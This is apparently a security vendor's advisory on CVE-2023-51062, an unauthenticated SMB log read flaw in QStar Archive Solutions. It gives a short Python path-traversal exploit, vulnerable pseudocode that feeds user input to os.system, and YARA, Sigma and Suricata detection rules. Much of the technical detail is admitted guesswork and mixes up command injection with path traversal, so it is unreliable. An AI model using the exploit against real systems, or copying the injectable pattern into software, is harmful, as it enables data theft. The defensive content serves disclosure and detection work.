CVE-2023-51062

Executive Summary

CVE-2023-51062 discloses an unauthenticated log file read vulnerability in QStar Archive Solutions RELEASE_3-0 Build 7 Patch 0. The flaw resides in the log-smblog-save component, allowing an attacker to execute a crafted command to read SMB log contents without authentication. This exposes sensitive information such as SMB share paths, usernames, and potentially credentials embedded in logs. The vulnerability is unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high for exposed instances.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High
• Integrity (I): None
• Availability (A): None
• Threat Level: High (due to unauthenticated access and sensitive data exposure)

Deep Dive & Mechanics

The vulnerability exists in the log-smblog-save component of QStar Archive Solutions. This component is responsible for saving SMB (Server Message Block) logs. The flaw allows an unauthenticated attacker to execute a crafted command that reads these log files. The logs likely contain SMB share paths, usernames, and potentially credentials or other sensitive information. The attack is performed over the network, requiring no authentication or user interaction. The exact command injection mechanism is not publicly detailed, but it likely involves manipulating input parameters to the log-smblog-save endpoint to read arbitrary log files.

Vulnerable vs. Patched Code

Vulnerable Code (QStar Archive Solutions RELEASE_3-0 Build 7 Patch 0): The log-smblog-save component does not properly sanitize user input, allowing command injection. The vulnerable code likely uses user-supplied parameters to construct a file path or command without validation.

# Example vulnerable pseudocode
def log_smb_log_save(request):
    log_file = request.GET.get('log_file')
    # No input validation
    os.system(f"cat /var/log/smb/{log_file}")
    return HttpResponse("Log saved")

Patched Code (Not available): A patch would require strict input validation, whitelisting allowed log files, and avoiding direct command execution. The patched code should use safe file reading functions and validate the file path.

# Example patched pseudocode
import os
def log_smb_log_save(request):
    log_file = request.GET.get('log_file')
    # Validate file path
    allowed_files = ['smb.log', 'smb_error.log']
    if log_file in allowed_files:
        file_path = os.path.join('/var/log/smb/', log_file)
        with open(file_path, 'r') as f:
            content = f.read()
        return HttpResponse(content)
    else:
        return HttpResponse("Invalid file", status=400)

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target-qstar:port/log-smblog-save"
# Crafted command to read SMB log
payload = {"log_file": "../../../var/log/smb/smb.log"}
response = requests.get(target, params=payload)
print(response.text)

Lab Setup:

1. Deploy QStar Archive Solutions RELEASE_3-0 Build 7 Patch 0 in a controlled environment.
2. Ensure the log-smblog-save endpoint is accessible.
3. Run the exploit code to retrieve SMB logs.

Blue Team

Detection:

• Monitor for unusual GET requests to /log-smblog-save with parameters containing path traversal sequences (e.g., ../).
• Alert on any access to this endpoint from unauthenticated sources.

Mitigation:

• Restrict access to the log-smblog-save endpoint via firewall or web application firewall (WAF).
• Implement authentication for all administrative endpoints.
• Monitor logs for suspicious activity.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /log-smblog-save with parameters like log_file=../../../var/log/smb/smb.log
  • Outbound data transfers containing SMB log content (e.g., share paths, usernames)
• File System:
  • Unauthorized access to /var/log/smb/ directory
  • Presence of log files with unusual permissions
• Logs:
  • Web server logs showing requests to /log-smblog-save from unknown IPs
  • System logs indicating command execution by the web server user

Detection Engineering

YARA Rule

rule CVE_2023_51062_QStar_Log_Read {
    meta:
        description = "Detects exploitation attempts of CVE-2023-51062 - QStar Archive Solutions log file read"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51062"
    strings:
        $s1 = "log-smblog-save" ascii wide nocase
        $s2 = "log_file=" ascii wide nocase
        $s3 = "../" ascii wide nocase
        $s4 = "/var/log/smb/" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2023-51062 QStar Archive Solutions Log File Read
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-51062 via HTTP requests to log-smblog-save
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "log-smblog-save"
        cs-uri-query|contains: "log_file="
        cs-uri-query|contains: "../"
    condition: selection
falsepositives:
    - Legitimate administrative access (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2023-51062 QStar Archive Solutions Log File Read"; flow:to_server; content:"log-smblog-save"; http_uri; content:"log_file="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Restrict network access to the QStar Archive Solutions interface to trusted IPs only. Implement a WAF rule to block requests containing log-smblog-save and path traversal patterns.
• Short-term: Disable the log-smblog-save component if not required. Monitor logs for exploitation attempts.
• Long-term: Contact QStar for an official patch. If unavailable, consider migrating to an alternative solution. Implement strict input validation and authentication for all administrative endpoints.

Valters IT